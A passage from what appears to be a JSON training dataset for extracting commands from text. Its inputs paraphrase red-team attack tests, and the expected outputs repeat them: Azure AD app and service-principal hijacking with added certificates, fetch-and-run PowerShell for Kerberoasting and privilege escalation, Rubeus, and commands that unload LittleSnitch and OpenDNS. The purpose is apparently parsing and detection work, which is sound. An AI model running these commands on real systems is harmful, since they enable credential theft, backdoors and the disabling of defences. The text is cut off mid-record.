    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When you need to hijack an application's identity for authentication, provided you have sufficient Azure AD privileges, execute the following PowerShell commands: Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential > $null\n\n$sp = Get-AzureADServicePrincipal -SearchString \"#{service_principal_name}\" | Select-Object -First 1\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\n$credNotAfter = (Get-Date).AddDays(1)\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\n\n$cert = New-SelfSignedCertificate -DnsName \"atomicredteam.example.com\" -FriendlyName \"AtomicCert\" -CertStoreLocation Cert:\\CurrentUser\\My -KeyExportPolicy Exportable -Provider \"Microsoft Enhanced RSA and AES Cryptographic Provider\" -NotAfter $certNotAfter\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\nWrite-Host \"Generated certificate \"\"$($cert.Thumbprint)\"\"\"\n\nNew-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \"AtomicTest\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\n\nStart-Sleep -s 30\n$tenant = Get-AzureADTenantDetail\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint\nWrite-Host \"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\"\nWrite-Host \"End of Hijacking\"\n; For persistence or privilege escalation by leveraging an Application's rights, you can hijack its App Registration by adding a certificate. Execute this command (requires Azure AD admin privileges and no MFA): Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential > $null\n\n$app = Get-AzureADApplication -SearchString \"#{application_name}\" | Select-Object -First 1\nif ($app -eq $null) { Write-Warning \"Application not found\"; exit }\n\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\n$credNotAfter = (Get-Date).AddDays(1)\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\n\n$cert = New-SelfSignedCertificate -DnsName \"atomicredteam.example.com\" -FriendlyName \"AtomicCert\" -CertStoreLocation Cert:\\CurrentUser\\My -KeyExportPolicy Exportable -Provider \"Microsoft Enhanced RSA and AES Cryptographic Provider\" -NotAfter $certNotAfter\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\nWrite-Host \"Generated certificate \"\"$($cert.Thumbprint)\"\"\"\n\nNew-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \"AtomicTest\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\n\nStart-Sleep -s 30\n$tenant = Get-AzureADTenantDetail\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint\nWrite-Host \"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\"\nWrite-Host \"End of Hijacking\"\n",
    "output": "{\"command_list\": [\"Import-Module -Name AzureAD\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzureAD -Credential $Credential > $null\\n\\n$sp = Get-AzureADServicePrincipal -SearchString \\\"#{service_principal_name}\\\" | Select-Object -First 1\\nif ($sp -eq $null) { Write-Warning \\\"Service Principal not found\\\"; exit }\\n\\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\\n$credNotAfter = (Get-Date).AddDays(1)\\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\\n\\n$cert = New-SelfSignedCertificate -DnsName \\\"atomicredteam.example.com\\\" -FriendlyName \\\"AtomicCert\\\" -CertStoreLocation Cert:\\\\CurrentUser\\\\My -KeyExportPolicy Exportable -Provider \\\"Microsoft Enhanced RSA and AES Cryptographic Provider\\\" -NotAfter $certNotAfter\\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\\nWrite-Host \\\"Generated certificate \\\"\\\"$($cert.Thumbprint)\\\"\\\"\\\"\\n\\nNew-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \\\"AtomicTest\\\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\\n\\nStart-Sleep -s 30\\n$tenant = Get-AzureADTenantDetail\\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint\\nWrite-Host \\\"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\\\"\\nWrite-Host \\\"End of Hijacking\\\"\\n\", \"Import-Module -Name AzureAD\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzureAD -Credential $Credential > $null\\n\\n$app = Get-AzureADApplication -SearchString \\\"#{application_name}\\\" | Select-Object -First 1\\nif ($app -eq $null) { Write-Warning \\\"Application not found\\\"; exit }\\n\\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\\n$credNotAfter = (Get-Date).AddDays(1)\\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\\n\\n$cert = New-SelfSignedCertificate -DnsName \\\"atomicredteam.example.com\\\" -FriendlyName \\\"AtomicCert\\\" -CertStoreLocation Cert:\\\\CurrentUser\\\\My -KeyExportPolicy Exportable -Provider \\\"Microsoft Enhanced RSA and AES Cryptographic Provider\\\" -NotAfter $certNotAfter\\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\\nWrite-Host \\\"Generated certificate \\\"\\\"$($cert.Thumbprint)\\\"\\\"\\\"\\n\\nNew-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \\\"AtomicTest\\\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\\n\\nStart-Sleep -s 30\\n$tenant = Get-AzureADTenantDetail\\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint\\nWrite-Host \\\"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\\\"\\nWrite-Host \\\"End of Hijacking\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test leverages the Invoke-Kerberoast.ps1 module from Powershell Empire, which can be run with the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\niex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing)\nInvoke-Kerberoast | fl; To use the Rubeus tool, first clear the Kerberos ticket cache with the following command: klist purge\ncmd.exe /c \"#{local_folder}\\#{local_executable}\" kerberoast #{flags} /outfile:\"#{local_folder}\\#{out_file}\"\n",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing)\\nInvoke-Kerberoast | fl\\n\", \"klist purge\\ncmd.exe /c \\\"#{local_folder}\\\\#{local_executable}\\\" kerberoast #{flags} /outfile:\\\"#{local_folder}\\\\#{out_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The binary, which was packed with UPX and has no other protections, can be copied and run via this command: cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin; An adversary may gain remote access to a Windows device via the Radmin console, which can be started using the command: \"%PROGRAMFILES(x86)%/#{radmin_exe}\"\n",
    "output": "{\"command_list\": [\"cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin\\n\", \"\\\"%PROGRAMFILES(x86)%/#{radmin_exe}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can turn off LittleSnitch by executing this command: sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist; To disable OpenDNS Umbrella, use the following command: sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist",
    "output": "{\"command_list\": [\"sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist\\n\", \"sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An attacker would enumerate EC2 Security Groups with this AWS CLI command: aws ec2 describe-security-groups --profile #{aws_profile} --output #{output_format}\n; To retrieve geolocation information via IP-Lookup services on Windows, use the following command with curl: curl -k #{ip_lookup_url}",
    "output": "{\"command_list\": [\"aws ec2 describe-security-groups --profile #{aws_profile} --output #{output_format}\\n\", \"curl -k #{ip_lookup_url}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 